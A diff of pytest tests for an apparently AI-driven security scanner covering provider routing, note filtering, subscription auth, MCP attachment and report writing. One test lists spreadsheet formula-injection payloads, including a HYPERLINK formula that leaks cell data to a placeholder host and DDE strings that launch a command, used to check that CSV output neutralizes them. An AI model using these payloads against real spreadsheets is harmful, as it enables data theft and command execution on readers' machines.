assert supports_strict_tool_schemas(model_name)
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("model_name", "litellm"),
|
||||
[
|
||||
("claude-sonnet-4-5", False),
|
||||
("openai/claude-sonnet-4-5", False),
|
||||
("any-llm/anthropic/claude-sonnet-4-5", False),
|
||||
("anthropic/claude-sonnet-4-5", True),
|
||||
("litellm/anthropic/claude-sonnet-4-5", True),
|
||||
("bedrock/anthropic.claude-sonnet-4-5-20250929-v1:0", True),
|
||||
("ollama/llama3", True),
|
||||
],
|
||||
)
|
||||
def test_routes_through_litellm_matches_the_provider(
|
||||
monkeypatch: pytest.MonkeyPatch, model_name: str, litellm: bool
|
||||
) -> None:
|
||||
"""The helper must agree with what StrixProvider actually builds.
|
||||
|
||||
Callers use it to decide whether a LiteLLM-only request field is safe to
|
||||
attach; on the SDK's own clients such a field raises TypeError mid-turn, so
|
||||
drift here breaks every request on that route.
|
||||
"""
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "test-key")
|
||||
assert routes_through_litellm(model_name) is litellm
|
||||
try:
|
||||
model = StrixProvider().get_model(model_name)
|
||||
except ImportError:
|
||||
# any-llm's client is an optional dependency; reaching it at all already
|
||||
# proves the route is not LiteLLM's.
|
||||
assert not litellm
|
||||
return
|
||||
while isinstance(model, _NonStreamingModel | _TurnGuardModel):
|
||||
model = model._inner
|
||||
assert isinstance(model, LitellmModel) is litellm
|
||||
|
||||
@@ -101,3 +101,33 @@ def test_get_note_flags_caller_ownership() -> None:
|
||||
assert mine["note"]["agent_name"] == "Agent One"
|
||||
theirs = notes_tools._get_note_impl(note_id, caller_agent_id="agent-9")
|
||||
assert "by_you" not in theirs["note"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("nullish", ["null", "none", "NULL", " None ", "undefined", "nil"])
|
||||
def test_list_notes_ignores_nullish_filter_strings(nullish: str) -> None:
|
||||
notes_tools._create_note_impl("recon", "content", category="findings", tags=["auth"])
|
||||
notes_tools._create_note_impl("other", "content", category="general")
|
||||
|
||||
unfiltered = notes_tools._list_notes_impl()
|
||||
assert unfiltered["filtered_count"] == 2
|
||||
|
||||
assert notes_tools._list_notes_impl(category=nullish) == unfiltered
|
||||
assert notes_tools._list_notes_impl(search=nullish) == unfiltered
|
||||
|
||||
|
||||
@pytest.mark.parametrize("tag", ["null", "none"])
|
||||
def test_list_notes_filters_on_a_literal_nullish_tag(tag: str) -> None:
|
||||
notes_tools._create_note_impl("tagged", "content", tags=[tag])
|
||||
notes_tools._create_note_impl("other", "content", tags=["auth"])
|
||||
|
||||
assert [n["title"] for n in notes_tools._list_notes_impl(tags=[tag])["notes"]] == ["tagged"]
|
||||
mixed = notes_tools._list_notes_impl(tags=[tag, "auth"])
|
||||
assert sorted(n["title"] for n in mixed["notes"]) == ["other", "tagged"]
|
||||
|
||||
|
||||
def test_list_notes_still_filters_on_real_values() -> None:
|
||||
notes_tools._create_note_impl("recon", "content", category="findings")
|
||||
notes_tools._create_note_impl("other", "content", category="general")
|
||||
|
||||
result = notes_tools._list_notes_impl(category="findings")
|
||||
assert [n["title"] for n in result["notes"]] == ["recon"]
|
||||
|
||||
212
tests/test_opencode_auth.py
Normal file
212
tests/test_opencode_auth.py
Normal file
@@ -0,0 +1,212 @@
|
||||
"""Tests for OpenCode (Zen/Go) subscription auth: prefix parsing and key store."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import TYPE_CHECKING
|
||||
from unittest import mock
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
from strix.config import codex, opencode
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _tmp_store(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
|
||||
path = tmp_path / "home" / ".strix" / "subscription-auth.json"
|
||||
monkeypatch.setattr(codex, "AUTH_PATH", path)
|
||||
return path
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("model", "slug", "base_url", "protocol"),
|
||||
[
|
||||
(
|
||||
"opencode/claude-sonnet-5",
|
||||
"claude-sonnet-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
("opencode/gpt-5.4", "gpt-5.4", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
("opencode/grok-4.5", "grok-4.5", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
("OpenCode/Kimi-K3", "Kimi-K3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
(
|
||||
"OpenCode/Claude-Opus-5",
|
||||
"Claude-Opus-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
("opencode-go/kimi-k3", "kimi-k3", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
(
|
||||
"opencode-go/gpt-5.6-luna",
|
||||
"gpt-5.6-luna",
|
||||
opencode.GO_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
("opencode-go/grok-4.5", "grok-4.5", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
# Probed per family against both gateways; a wrong protocol 500s.
|
||||
(
|
||||
"opencode/muse-spark-1.2",
|
||||
"muse-spark-1.2",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
(
|
||||
"opencode/deepseek-v4-pro",
|
||||
"deepseek-v4-pro",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_CHAT,
|
||||
),
|
||||
("opencode/minimax-m3", "minimax-m3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/qwen3.6-plus", "qwen3.6-plus", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/glm-5.2", "glm-5.2", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
|
||||
("opencode/grok-4.6", "grok-4.6", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
|
||||
(
|
||||
"opencode/gpt-5.6-luna",
|
||||
"gpt-5.6-luna",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_RESPONSES,
|
||||
),
|
||||
(
|
||||
"opencode/claude-opus-5",
|
||||
"claude-opus-5",
|
||||
opencode.ZEN_BASE_URL,
|
||||
opencode.PROTOCOL_MESSAGES,
|
||||
),
|
||||
],
|
||||
)
|
||||
def test_subscription_model_parses_prefixes(
|
||||
model: str, slug: str, base_url: str, protocol: str
|
||||
) -> None:
|
||||
parsed = opencode.subscription_model(model)
|
||||
assert parsed is not None
|
||||
assert parsed.slug == slug
|
||||
assert parsed.base_url == base_url
|
||||
assert parsed.protocol == protocol
|
||||
assert parsed.uses_responses is (protocol == opencode.PROTOCOL_RESPONSES)
|
||||
|
||||
|
||||
def test_claude_route_targets_the_anthropic_endpoint() -> None:
|
||||
parsed = opencode.subscription_model("opencode/claude-sonnet-5")
|
||||
assert parsed is not None
|
||||
assert parsed.messages_url == "https://opencode.ai/zen/v1/messages"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("model", "plan", "label", "metered"),
|
||||
[
|
||||
("opencode/claude-sonnet-5", opencode.PLAN_ZEN, "OpenCode Zen", True),
|
||||
("opencode/kimi-k3", opencode.PLAN_ZEN, "OpenCode Zen", True),
|
||||
("opencode-go/kimi-k3", opencode.PLAN_GO, "OpenCode Go", False),
|
||||
("OpenCode-Go/GPT-5.6-Luna", opencode.PLAN_GO, "OpenCode Go", False),
|
||||
],
|
||||
)
|
||||
def test_plan_is_labelled_and_metered_per_prefix(
|
||||
model: str, plan: str, label: str, metered: bool
|
||||
) -> None:
|
||||
parsed = opencode.subscription_model(model)
|
||||
assert parsed is not None
|
||||
assert parsed.plan == plan
|
||||
assert parsed.label == label
|
||||
# Zen bills prepaid credits per request; Go is a flat monthly plan.
|
||||
assert parsed.metered is metered
|
||||
assert opencode.subscription_plan(model) == plan
|
||||
|
||||
|
||||
def test_subscription_plan_is_none_off_opencode() -> None:
|
||||
assert opencode.subscription_plan("chatgpt/gpt-5.4") is None
|
||||
assert opencode.subscription_plan("anthropic/claude-sonnet-5") is None
|
||||
assert opencode.subscription_plan(None) is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"model",
|
||||
["openai/gpt-5.4", "chatgpt/gpt-5.4", "opencode/", "opencode-go/", "opencode", "", None],
|
||||
)
|
||||
def test_subscription_model_rejects_non_opencode(model: str | None) -> None:
|
||||
assert opencode.subscription_model(model) is None
|
||||
|
||||
|
||||
def test_store_roundtrip_and_logout() -> None:
|
||||
assert opencode.read_record() is None
|
||||
assert opencode.is_authenticated() is False
|
||||
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
record = opencode.read_record()
|
||||
assert record is not None
|
||||
assert record["key"] == "sk-oc-test"
|
||||
assert opencode.is_authenticated() is True
|
||||
assert opencode.get_api_key() == "sk-oc-test"
|
||||
|
||||
opencode.logout()
|
||||
assert opencode.read_record() is None
|
||||
opencode.logout() # no-op when already gone
|
||||
|
||||
|
||||
def test_store_coexists_with_chatgpt_record() -> None:
|
||||
codex.save_record({"type": "oauth", "access": "a", "refresh": "r", "account_id": "acct"})
|
||||
opencode.save_api_key("sk-oc-test")
|
||||
|
||||
assert codex.read_record() is not None
|
||||
assert opencode.get_api_key() == "sk-oc-test"
|
||||
|
||||
opencode.logout()
|
||||
assert codex.read_record() is not None
|
||||
assert opencode.read_record() is None
|
||||
|
||||
|
||||
def test_get_api_key_raises_when_not_signed_in() -> None:
|
||||
with pytest.raises(opencode.OpencodeAuthError) as exc:
|
||||
opencode.get_api_key()
|
||||
assert exc.value.code == "not_authenticated"
|
||||
|
||||
|
||||
def test_auth_mode_covers_both_subscriptions() -> None:
|
||||
assert opencode.auth_mode("opencode/claude-sonnet-5") == "subscription"
|
||||
assert opencode.auth_mode("opencode-go/kimi-k3") == "subscription"
|
||||
assert opencode.auth_mode("chatgpt/gpt-5.4") == "subscription"
|
||||
assert opencode.auth_mode("openai/gpt-5.4") == "api_key"
|
||||
assert opencode.auth_mode(None) == "api_key"
|
||||
|
||||
|
||||
def test_subscription_provider() -> None:
|
||||
assert opencode.subscription_provider("opencode/claude-sonnet-5") == "opencode"
|
||||
assert opencode.subscription_provider("opencode-go/kimi-k3") == "opencode"
|
||||
assert opencode.subscription_provider("chatgpt/gpt-5.4") == "chatgpt"
|
||||
assert opencode.subscription_provider("openai/gpt-5.4") is None
|
||||
assert opencode.subscription_provider(None) is None
|
||||
|
||||
|
||||
def _response(status_code: int, text: str = "") -> mock.MagicMock:
|
||||
response = mock.MagicMock()
|
||||
response.status_code = status_code
|
||||
response.text = text
|
||||
return response
|
||||
|
||||
|
||||
def test_validate_api_key_accepts_ok() -> None:
|
||||
with mock.patch.object(requests, "get", return_value=_response(200)) as get:
|
||||
opencode.validate_api_key("sk-oc-test")
|
||||
assert get.call_args.kwargs["headers"]["Authorization"] == "Bearer sk-oc-test"
|
||||
|
||||
|
||||
def test_validate_api_key_rejects_unauthorized() -> None:
|
||||
with (
|
||||
mock.patch.object(requests, "get", return_value=_response(401)),
|
||||
pytest.raises(opencode.OpencodeAuthError) as exc,
|
||||
):
|
||||
opencode.validate_api_key("bad-key")
|
||||
assert exc.value.code == "invalid_key"
|
||||
|
||||
|
||||
def test_validate_api_key_maps_network_errors() -> None:
|
||||
with (
|
||||
mock.patch.object(requests, "get", side_effect=requests.ConnectionError("boom")),
|
||||
pytest.raises(opencode.OpencodeAuthError) as exc,
|
||||
):
|
||||
opencode.validate_api_key("sk-oc-test")
|
||||
assert exc.value.code == "unavailable"
|
||||
@@ -9,6 +9,7 @@ from typing import TYPE_CHECKING, Any
|
||||
import pytest
|
||||
|
||||
from strix.report.writer import (
|
||||
atomic_write_text,
|
||||
read_run_record,
|
||||
render_vulnerability_md,
|
||||
write_executive_report,
|
||||
@@ -163,6 +164,64 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
|
||||
assert csv_rows[0]["severity"] == "CRITICAL"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"payload",
|
||||
[
|
||||
'=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
|
||||
"+cmd|'/c calc'!A1",
|
||||
"@SUM(1+1)*cmd|'/c calc'!A1",
|
||||
"-2+3+cmd|'/c calc'!A1",
|
||||
"\t leading tab",
|
||||
"\r leading carriage return",
|
||||
],
|
||||
)
|
||||
def test_write_vulnerabilities_csv_neutralizes_formula_injection(
|
||||
tmp_path: Path,
|
||||
payload: str,
|
||||
) -> None:
|
||||
# Titles quote text from the scanned target, so a finding title can begin with
|
||||
# a spreadsheet formula trigger. csv escapes CSV syntax but not formula
|
||||
# triggers, so the cell has to be neutralized before it is written.
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
title = csv_rows[0]["title"]
|
||||
assert title.startswith("'")
|
||||
assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
|
||||
payload = "=1+1"
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "SQL Injection in /login"
|
||||
|
||||
|
||||
def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
|
||||
# The CSV index carries its own \r\n terminators, so newline translation would
|
||||
# turn every row ending into \r\r\n on Windows.
|
||||
payload = "a,b\r\nc,d\r\n"
|
||||
path = tmp_path / "index.csv"
|
||||
|
||||
atomic_write_text(path, payload)
|
||||
|
||||
assert path.read_bytes() == payload.encode("utf-8")
|
||||
|
||||
|
||||
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
|
||||
reports = [_sample_report(id="vuln-0001")]
|
||||
saved: set[str] = {"vuln-0001"}
|
||||
|
||||
@@ -63,6 +63,34 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
|
||||
return state
|
||||
|
||||
|
||||
def test_record_mcp_connection_status_persists_and_dedupes(
|
||||
report_state: ReportState, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""The roster lands on the run record so run.json carries it for the viewer,
|
||||
and an unchanged re-write is a no-op (it does not re-save)."""
|
||||
roster = [{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False}]
|
||||
report_state.record_mcp_connection_status(roster)
|
||||
assert report_state.run_record["mcp_connection_status"] == roster
|
||||
|
||||
saves = 0
|
||||
original_save = report_state.save_run_data
|
||||
|
||||
def _counting_save(*args: Any, **kwargs: Any) -> None:
|
||||
nonlocal saves
|
||||
saves += 1
|
||||
original_save(*args, **kwargs)
|
||||
|
||||
monkeypatch.setattr(report_state, "save_run_data", _counting_save)
|
||||
report_state.record_mcp_connection_status(roster)
|
||||
assert saves == 0, "an identical roster must not trigger another save"
|
||||
|
||||
report_state.record_mcp_connection_status(
|
||||
[{"name": "local_fs", "provider": None, "tool_count": 3, "dead": True}]
|
||||
)
|
||||
assert saves == 1
|
||||
assert report_state.run_record["mcp_connection_status"][0]["dead"] is True
|
||||
|
||||
|
||||
async def test_create_report_persists_new_fields(report_state: ReportState) -> None:
|
||||
result = await _do_create(
|
||||
title="Reflected XSS in search",
|
||||
|
||||
190
tests/test_runner_mcp.py
Normal file
190
tests/test_runner_mcp.py
Normal file
@@ -0,0 +1,190 @@
|
||||
"""The runner attaches MCP connections source-agnostically.
|
||||
|
||||
When a caller supplies ``mcp_connection_requests`` the runner attaches those;
|
||||
when it does not, the runner reads ``~/.strix/mcp-servers.json`` itself and wraps
|
||||
each config in a bare request. Either way the one shared ``attach_mcp_requests``
|
||||
routine does the connecting.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import types
|
||||
from typing import Any
|
||||
|
||||
import pytest
|
||||
from agents import ModelSettings
|
||||
|
||||
import strix.tools.mcp as mcp_pkg
|
||||
import strix.tools.notes.tools as notes_tools
|
||||
import strix.tools.todo.tools as todo_tools
|
||||
from strix.core import runner
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.runtime import session_manager
|
||||
from strix.tools.mcp import McpConnectionConfig, McpConnectionRequest
|
||||
|
||||
|
||||
def _settings() -> Any:
|
||||
return types.SimpleNamespace(
|
||||
llm=types.SimpleNamespace(
|
||||
model="openai/gpt-4o",
|
||||
reasoning_effort="high",
|
||||
force_required_tool_choice=False,
|
||||
timeout=300,
|
||||
prompt_cache=True,
|
||||
extra_headers=None,
|
||||
),
|
||||
runtime=types.SimpleNamespace(max_context_images=3),
|
||||
)
|
||||
|
||||
|
||||
def _wire_runner(monkeypatch: pytest.MonkeyPatch, tmp_path: Any) -> None:
|
||||
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
|
||||
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
|
||||
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
|
||||
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
|
||||
monkeypatch.setattr(runner, "load_settings", _settings)
|
||||
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _s: None)
|
||||
monkeypatch.setattr(runner, "uses_chat_completions_tool_schema", lambda _m, _s: False)
|
||||
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _d: None)
|
||||
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _d: None)
|
||||
|
||||
async def _create_or_reuse(*_a: Any, **_k: Any) -> dict[str, Any]:
|
||||
return {"client": object(), "session": object(), "caido_client": None}
|
||||
|
||||
async def _cleanup(*_a: Any, **_k: Any) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(session_manager, "create_or_reuse", _create_or_reuse)
|
||||
monkeypatch.setattr(session_manager, "cleanup", _cleanup)
|
||||
monkeypatch.setattr(runner, "build_root_task", lambda _c: "task")
|
||||
monkeypatch.setattr(runner, "build_scope_context", lambda _c: {})
|
||||
monkeypatch.setattr(runner, "make_model_settings", lambda *_a, **_k: ModelSettings())
|
||||
monkeypatch.setattr(runner, "build_strix_agent", lambda **_k: object())
|
||||
monkeypatch.setattr(runner, "make_child_factory", lambda **_k: lambda **_kk: object())
|
||||
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
|
||||
|
||||
async def _run_agent_loop(**_kwargs: Any) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(runner, "run_agent_loop", _run_agent_loop)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_none_default_attaches_from_the_user_config_file(
|
||||
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
|
||||
) -> None:
|
||||
_wire_runner(monkeypatch, tmp_path)
|
||||
|
||||
file_config = McpConnectionConfig(
|
||||
name="local_fs", transport="stdio", command="npx", notes="local files"
|
||||
)
|
||||
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", lambda: [file_config])
|
||||
|
||||
captured: list[list[McpConnectionRequest]] = []
|
||||
|
||||
async def _capture(requests: list[McpConnectionRequest], _registry: Any) -> list[Any]:
|
||||
captured.append(requests)
|
||||
return []
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _capture)
|
||||
|
||||
await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-none",
|
||||
image="img",
|
||||
coordinator=AgentCoordinator(),
|
||||
)
|
||||
|
||||
# Each config from the file is wrapped in a bare request: no provider, no
|
||||
# transform, no explicit purpose (purpose falls back to notes at attach time).
|
||||
(requests,) = captured
|
||||
assert len(requests) == 1
|
||||
assert requests[0].config is file_config
|
||||
assert requests[0].provider is None
|
||||
assert requests[0].result_transform is None
|
||||
assert requests[0].purpose is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_supplied_requests_are_attached_and_the_user_file_is_not_read(
|
||||
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
|
||||
) -> None:
|
||||
_wire_runner(monkeypatch, tmp_path)
|
||||
|
||||
def _fail_if_read() -> list[Any]:
|
||||
raise AssertionError("load_user_mcp_configs must not be read when requests are supplied")
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", _fail_if_read)
|
||||
|
||||
captured: list[list[McpConnectionRequest]] = []
|
||||
|
||||
async def _capture(requests: list[McpConnectionRequest], _registry: Any) -> list[Any]:
|
||||
captured.append(requests)
|
||||
return []
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _capture)
|
||||
|
||||
supplied = [
|
||||
McpConnectionRequest(
|
||||
config=McpConnectionConfig(name="db", url="https://mcp.example.com"),
|
||||
provider="supabase",
|
||||
)
|
||||
]
|
||||
|
||||
await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-supplied",
|
||||
image="img",
|
||||
coordinator=AgentCoordinator(),
|
||||
mcp_connection_requests=supplied,
|
||||
)
|
||||
|
||||
assert captured == [supplied]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_roster_is_persisted_even_without_a_status_sink(
|
||||
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
|
||||
) -> None:
|
||||
"""The viewer reads the roster off disk, so persistence must not depend on the
|
||||
interface status sink: with ``mcp_status_sink=None`` the connect-time roster is
|
||||
still written, carrying only the non-secret name/provider/tool_count/dead."""
|
||||
_wire_runner(monkeypatch, tmp_path)
|
||||
monkeypatch.setattr(
|
||||
mcp_pkg,
|
||||
"load_user_mcp_configs",
|
||||
lambda: [McpConnectionConfig(name="local_fs", transport="stdio", command="npx")],
|
||||
)
|
||||
|
||||
class _FakeSession:
|
||||
is_dead = False
|
||||
|
||||
def set_on_dead(self, _callback: Any) -> None:
|
||||
return None
|
||||
|
||||
async def _attach(_requests: list[McpConnectionRequest], registry: Any) -> list[Any]:
|
||||
registry.add(name="local_fs", session=_FakeSession(), tool_count=3, provider=None)
|
||||
entry = registry.get("local_fs")
|
||||
return [types.SimpleNamespace(name="local_fs", tool_count=3, session=entry.session)]
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _attach)
|
||||
|
||||
persisted: list[list[dict[str, Any]]] = []
|
||||
|
||||
def _capture_persist(roster: list[dict[str, Any]]) -> None:
|
||||
persisted.append(roster)
|
||||
|
||||
monkeypatch.setattr(runner, "_persist_mcp_status", _capture_persist)
|
||||
|
||||
await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-persist",
|
||||
image="img",
|
||||
coordinator=AgentCoordinator(),
|
||||
mcp_status_sink=None,
|
||||
)
|
||||
|
||||
assert persisted, "roster must persist even when no status sink is attached"
|
||||
assert persisted[-1] == [
|
||||
{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False}
|
||||
]
|
||||
@@ -14,11 +14,13 @@ import pytest
|
||||
from agents import ModelSettings
|
||||
from openai import RateLimitError
|
||||
|
||||
import strix.tools.mcp as mcp_pkg
|
||||
import strix.tools.notes.tools as notes_tools
|
||||
import strix.tools.todo.tools as todo_tools
|
||||
from strix.core import runner
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.runtime import session_manager
|
||||
from strix.tools.mcp import BearerAuth, McpConnectionConfig, McpConnectionRequest
|
||||
|
||||
|
||||
def _make_rate_limit_error() -> RateLimitError:
|
||||
@@ -180,6 +182,76 @@ async def test_root_prompt_options_default_to_none(
|
||||
assert kwargs["system_prompt_context"] == {"scope": "built-in"}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_mcp_available_flag_set_when_a_connection_attaches(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
tmp_path: Any,
|
||||
) -> None:
|
||||
"""When at least one MCP connection attaches, the runner sets ``mcp_available``
|
||||
plus a named ``mcp_connections`` inventory into the scan context that reaches
|
||||
every agent, so each agent sees which connections exist at the start while
|
||||
still being able to re-list them at run time via list_mcps."""
|
||||
scope_context: dict[str, Any] = {"scope": "built-in"}
|
||||
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
|
||||
|
||||
async def _aclose() -> None:
|
||||
return None
|
||||
|
||||
async def _attach(_requests: Any, registry: Any) -> list[Any]:
|
||||
registry.add(name="fs", server=object(), purpose="local files", tool_count=2)
|
||||
session = types.SimpleNamespace(aclose=_aclose)
|
||||
return [types.SimpleNamespace(name="fs", tool_count=2, session=session)]
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _attach)
|
||||
|
||||
request = McpConnectionRequest(
|
||||
config=McpConnectionConfig(
|
||||
name="fs",
|
||||
url="https://mcp.example.com",
|
||||
auth=BearerAuth(token="run-token"),
|
||||
)
|
||||
)
|
||||
|
||||
await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-mcp-available",
|
||||
image="img",
|
||||
coordinator=AgentCoordinator(),
|
||||
mcp_connection_requests=[request],
|
||||
)
|
||||
|
||||
kwargs = captured["kwargs"]
|
||||
assert kwargs["system_prompt_context"]["mcp_available"] is True
|
||||
# The named inventory names each connected server for the prompt.
|
||||
assert kwargs["system_prompt_context"]["mcp_connections"] == [
|
||||
{"name": "fs", "purpose": "local files", "tool_count": 2}
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_mcp_available_flag_absent_without_a_connection(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
tmp_path: Any,
|
||||
) -> None:
|
||||
"""With no MCP connection, the scan context carries no MCP key at all, so the
|
||||
prompt's MCP section stays off."""
|
||||
scope_context: dict[str, Any] = {"scope": "built-in"}
|
||||
captured = _patch_engine_scaffold(monkeypatch, tmp_path, scope_context)
|
||||
|
||||
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", list)
|
||||
|
||||
await runner.run_strix_scan(
|
||||
scan_config={"targets": [], "scan_mode": "deep"},
|
||||
scan_id="scan-mcp-absent",
|
||||
image="img",
|
||||
coordinator=AgentCoordinator(),
|
||||
)
|
||||
|
||||
kwargs = captured["kwargs"]
|
||||
assert "mcp_available" not in kwargs["system_prompt_context"]
|
||||
assert "mcp_connections" not in kwargs["system_prompt_context"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_unknown_tool_calls_are_returned_to_the_model(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
|
||||
@@ -23,12 +23,7 @@ from openai import AsyncOpenAI
|
||||
|
||||
from strix.config import loader
|
||||
from strix.config.loader import load_settings
|
||||
from strix.config.models import (
|
||||
ModelStreamTimeoutError,
|
||||
StrixProvider,
|
||||
_TurnGuardModel,
|
||||
_with_idle_timeout,
|
||||
)
|
||||
from strix.config.models import StrixProvider, _TurnGuardModel, _with_idle_timeout
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -69,24 +64,6 @@ class _StallingHandler(BaseHTTPRequestHandler):
|
||||
self.stop.wait(_STALL_SECONDS)
|
||||
|
||||
|
||||
class _FirstEventStallingHandler(BaseHTTPRequestHandler):
|
||||
"""Sends stream headers, then waits before sending the first event."""
|
||||
|
||||
stop = threading.Event()
|
||||
|
||||
def log_message(self, *args: Any) -> None:
|
||||
pass
|
||||
|
||||
def do_POST(self) -> None:
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
self.rfile.read(length)
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "text/event-stream")
|
||||
self.end_headers()
|
||||
self.wfile.flush()
|
||||
self.stop.wait(_STALL_SECONDS)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def stalling_gateway() -> Iterator[str]:
|
||||
_StallingHandler.stop.clear()
|
||||
@@ -101,33 +78,10 @@ def stalling_gateway() -> Iterator[str]:
|
||||
server.server_close()
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def first_event_stalling_gateway() -> Iterator[str]:
|
||||
_FirstEventStallingHandler.stop.clear()
|
||||
server = HTTPServer(("127.0.0.1", 0), _FirstEventStallingHandler)
|
||||
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
thread.start()
|
||||
try:
|
||||
yield f"http://127.0.0.1:{server.server_address[1]}/v1"
|
||||
finally:
|
||||
_FirstEventStallingHandler.stop.set()
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
|
||||
|
||||
def _stream(
|
||||
base_url: str,
|
||||
*,
|
||||
idle_timeout: float,
|
||||
first_event_timeout: float = 0.0,
|
||||
) -> AsyncIterator[Any]:
|
||||
def _stream(base_url: str, *, idle_timeout: float) -> AsyncIterator[Any]:
|
||||
